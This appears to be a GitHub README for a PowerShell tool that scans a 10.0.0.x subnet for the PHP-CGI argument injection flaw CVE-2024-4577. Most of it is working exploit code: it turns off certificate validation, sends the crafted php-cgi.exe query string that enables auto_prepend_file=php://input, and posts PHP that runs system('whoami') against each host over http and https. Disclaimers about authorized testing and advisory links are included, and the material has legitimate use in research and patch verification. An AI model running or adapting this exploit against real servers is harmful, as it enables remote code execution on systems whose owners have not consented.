tntrock/cve-2024-4577_powershell使用PowsrShell掃描CVE-2024-4577
Please note:
Ensure that you are authorized to conduct such penetration testing in the target environment; unauthorized use of attack techniques may violate relevant laws.
The code is for educational and research purposes only, and should be used within legal and ethical boundaries.
If you do not understand the potential consequences of penetration testing, it is recommended to hire a red team expert to conduct the test.
First, set the script to ignore web certificate checks
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
Main attack Payload
$url = "${Protocol}://$IP/php-cgi/php-cgi.exe?%add+allow_url_include%3Don+-d+auto_prepend_file%3Dphp%3A//input+-d+cgi.force_redirect%3D0"
$body = "<?php system('whoami'); die(); ?>"
Wrapped into a function and sent using PowerShell's built-in Invoke-WebRequest (TimeoutSec can be adjusted as needed)
function Invoke-RequestForIP {
param (
[string]$IP,
[string]$Protocol
)
$url = "${Protocol}://$IP/php-cgi/php-cgi.exe?%add+allow_url_include%3Don+-d+auto_prepend_file%3Dphp%3A//input+-d+cgi.force_redirect%3D0"
$body = "<?php system('whoami'); die(); ?>"
try {
$response = Invoke-WebRequest -Uri $url -Method Post -Body $body -UseBasicParsing -TimeoutSec 2
return $response.Content
} catch {
return $_.Exception.Message
}
}
Through a loop, scan 10.0.0.1 ~ 10.0.0.255
$baseIP = "10.0.0."
$start = 1
$end = 255
for ($i = $start; $i -le $end; $i++) {
$currentIP = $baseIP + $i
foreach ($protocol in @("http", "https")) {
$result = Invoke-RequestForIP -IP $currentIP -Protocol $protocol
Write-Output "IP: $currentIP, Protocol: $protocol, Result: $result"
}
}
https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability
https://nvd.nist.gov/vuln/detail/cve-2024-4577